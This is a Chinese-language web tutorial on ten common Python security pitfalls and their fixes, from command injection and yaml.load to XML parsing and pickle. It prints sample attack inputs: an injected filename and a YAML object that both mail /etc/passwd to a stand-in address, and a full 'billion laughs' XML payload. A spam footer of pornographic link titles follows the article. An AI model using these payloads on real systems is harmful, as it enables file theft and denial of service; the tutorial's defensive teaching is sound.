熱門文章

      最新文章

      詳細總結Python常見的安全問題

      發(fā)布時間:2021-06-22 15:26:45

      一、輸入注入

      注入攻擊非常廣泛而且很常見,注入有很多種類,它們影響所有的語言、框架和環(huán)境。

      SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串字面量與變量混合。可以通過https://www.jb51.net/article/187001.htm
      這個鏈接查看 SQL 注入所有可能發(fā)生的復雜方式。

      命令注入可能在使用 popen、subprocess、os.system 調用一個進程并從變量中獲取參數(shù)時發(fā)生,當調用本地命令時,有人可能會將某些值設置為惡意值。

      下面是個簡單的腳本,使用用戶提供的文件名調用子進程:

      1
      2
      3
      4
      5
      import subprocess
       
      def transcode_file(request, filename):
          command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
          subprocess.call(command, shell=True# a bad idea!

      攻擊者會將 filename 的值設置為“; cat / etc / passwd | mail them@domain.com 或者其他同樣危險的東西。

      修復:

      如果你使用了 Web 框架,可以用附帶的實用程序對輸入進行清理,除非有充分的理由,否則不要手動構建 SQL 查詢,大多數(shù) ORM 都具有內置的消毒方法。

      對于 shell,可以使用 shlex 模塊正確地轉義輸入。

      二、assert 語句(Assert statements)

      不要使用 assert 語句來防止用戶訪問不應訪問的代碼段。

      1
      2
      3
      def foo(request, user):
         assert user.is_admin, “user does not have access”
         # secure code...

      現(xiàn)在,默認情況下,Python 以 __debug__ 為 true 來執(zhí)行腳本,但在生產(chǎn)環(huán)境中,通常使用優(yōu)化運行,這將會跳過 assert 語句并直接轉到安全代碼,而不管用戶是否是 is_admin

      修復:

      僅在與其他開發(fā)人員進行通信時使用 assert 語句,例如在單元測試中或為了防止不正確的 API 使用。

      三、計時攻擊(Timing attacks)

      計時攻擊本質上是一種通過計時比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精確性,所以通常不能用于高延遲的遠程網(wǎng)絡。由于大多數(shù) Web 應用程序涉及可變延遲,因此幾乎不可能在 HTTP Web 服務器上編寫計時攻擊。

      但是,如果你有提示輸入密碼的命令行應用程序,則攻擊者可以編寫一個簡單的腳本來計算將其值與實際密碼進行比較所需的時間。

      修復:

      使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。

      四、臨時文件(Temporary files)

      要在 Python 中創(chuàng)建臨時文件,通常使用 mktemp() 函數(shù)生成一個文件名,然后使用該名稱創(chuàng)建一個文件。 這是不安全的,因為另一個進程可能會在調用 mktemp() 和隨后嘗試通過第一個進程創(chuàng)建文件之間的空隙創(chuàng)建一個同名文件。這意味著應用程序可能加載錯誤的數(shù)據(jù)或暴露其他的臨時數(shù)據(jù)。

      如果調用不正確的方法,則最新版本的 Python 會拋出運行警告。

      修復

      如果需要生成臨時文件,請使用 tempfile 模塊并使用 mkstemp。

      五、使用 yaml.load

      引用 PyYAML 文檔:

      1
      警告:使用從不可信源接收到的數(shù)據(jù)來調用 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強大,所以可以調用任何 Python 函數(shù)。

      在流行的 Python 項目 Ansible 中這個例子,你可以將此值作為(有效)YAML 提供給 Ansible Vault,它使用文件中提供的參數(shù)調用 os.system()。

      1
      !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

      所以,從用戶提供的值中有效地加載 YAML 文件會讓應用對攻擊打開大門。

      修復:

      總是不優(yōu)先使用 yaml.safe_load,除非你有一個非常好的理由。

      六、解析 XML(Parsing XML)

      如果你的應用程序要加載、解析 XML 文件,則你可能正在使用 XML 標準庫模塊。通過 XML 的攻擊大多是 DoS 風格(旨在使系統(tǒng)崩潰而不是泄露數(shù)據(jù)),這些攻擊十分常見,特別是在解析外部(即不可信任的)XML 文件時。

      其中有個「billion laughs」,因為他的 payload 通常包含很多(十億)「lols」。基本上,這個原理是可以在 XML 中使用參照實體,所以當解析器將這個 XML 文件加載到內存中時,它會消耗數(shù) G 大小的內存(RAM)。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      <?xml version="1.0"?>
      <!DOCTYPE lolz [
        <!ENTITY lol "lol">
        <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
        <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
        <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
        <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
        <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
        <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
        <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
        <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
      ]>
      <lolz>&lol9;</lolz>

      另一些攻擊使用外部實體擴展。XML 支持從外部 URL 引用實體,XML解析器通常會毫無疑問地獲取并加載該資源。攻擊者可以規(guī)避防火墻并訪問受限制的資源,因為所有請求都是由內部可信的 IP 地址創(chuàng)建的,而不是來自外部。

      需要考慮的另一種情況是依賴的第三方軟件包需要解碼 XML ,例如配置文件、遠程 API。你甚至可能不知道某個依賴關系會將這些類型的攻擊置之不理。

      修復:

      使用 defusedxml 替換標準庫模塊,它增加了針對這些類型攻擊的安全防護。

      七、受污染的 site-packages 或 import 路徑

      Python 的 import 系統(tǒng)非常靈活,當你想要為測試寫補丁或重載核心功能時,這是非常棒的。

      但這卻是 Python 中最大的安全漏洞之一。

      安裝第三方軟件包,無論是在虛擬環(huán)境中還是全局(通常不鼓勵)都會讓你看到這些軟件包中的安全漏洞。有一些發(fā)布到 PyPi 的軟件包與流行的軟件包具有相似的名稱,但是卻執(zhí)行了任意代碼。

      需要考慮的另一種情況是依賴的依賴,他們可能包含漏洞,他們也可以通過導入系統(tǒng)覆蓋Python 中的默認行為。

      修復

      看看 http://PyUp.io 及其安全服務,為所有應用程序使用虛擬環(huán)境,并確保全局的 site-packages 盡可能干凈,檢查包簽名。

      八、序列化 Pickles

      反序列化 pickle 數(shù)據(jù)和 YAML 一樣糟糕。Python 類可以聲明一個 __reduce__ 方法,該方法返回一個字符串,或一個可調用的元組以及使用 pickle 序列化時調用的參數(shù)。攻擊者可以使用它來包含對其中一個子進程模塊的引用,以在主機上運行任意命令。

      修復

      切勿使用 pickle 反序列化不受信任或未經(jīng)身份驗證來源的數(shù)據(jù)。改用另一種序列化模式(如JSON)。

      九、使用系統(tǒng) Python 運行時并且不修復它

      大多數(shù) POSIX 系統(tǒng)都自帶有一個 Python 2 版本(通常是舊版本)。

      有時候 Python(即 CPython 是用 C 語言編寫的) 解釋器本身存在漏洞, C 中的常見安全問題與內存分配有關,所以大多是緩沖區(qū)溢出錯誤,CPython 多年來一直存在一些溢出漏洞,每個漏洞都在后續(xù)版本中進行了修復。也就是說,如果及時升級 python 運行時,就很安全。

      修復:

      為生產(chǎn)應用程序安裝最新版本的 Python,并及時安裝修復更新!

      十、不修復依賴關系

      類似于不修補 python 運行時,還需要定期修補依賴關系。

      修復

      使用像 PyUp.io 這樣的服務來檢查更新,向應用程序提出 pr,并運行測試以保持軟件包是最新的。

      到此這篇關于詳細總結Python常見的安全問題的文章就介紹到這了


      返回頂部
      主站蜘蛛池模板: 国产成人一区二区精品非洲 | 国产一区二区精品久久| 国产裸体舞一区二区三区| 国产成人高清亚洲一区久久| 久草新视频一区二区三区| 在线成人综合色一区| 国产精品一级香蕉一区| 国产精品丝袜一区二区三区 | 亚洲AV成人一区二区三区观看| 福利视频一区二区牛牛| 精品理论片一区二区三区| 久久精品无码一区二区三区免费| 精品一区二区三区在线成人 | 欧美日韩精品一区二区在线观看| 少妇无码一区二区二三区| 国产午夜精品免费一区二区三区| 亚洲一区精品伊人久久伊人| 爆乳熟妇一区二区三区| 精品伦精品一区二区三区视频| 日韩精品无码人妻一区二区三区| 日韩视频一区二区| 内射白浆一区二区在线观看| 人妻少妇精品视频三区二区一区| 亚洲日韩AV一区二区三区中文 | 国产视频一区在线播放| 久久久久人妻精品一区三寸蜜桃| 日韩久久精品一区二区三区| 国产一区精品视频| 一本岛一区在线观看不卡| 精品国产免费一区二区三区| 久久无码精品一区二区三区| 亚洲色精品vr一区二区三区| 久久精品一区二区三区四区| 蜜桃臀无码内射一区二区三区| 中文字幕一区视频| 无码aⅴ精品一区二区三区| 国产一区二区三区无码免费| 久久国产高清一区二区三区| 久久亚洲一区二区| 另类国产精品一区二区| 香蕉在线精品一区二区|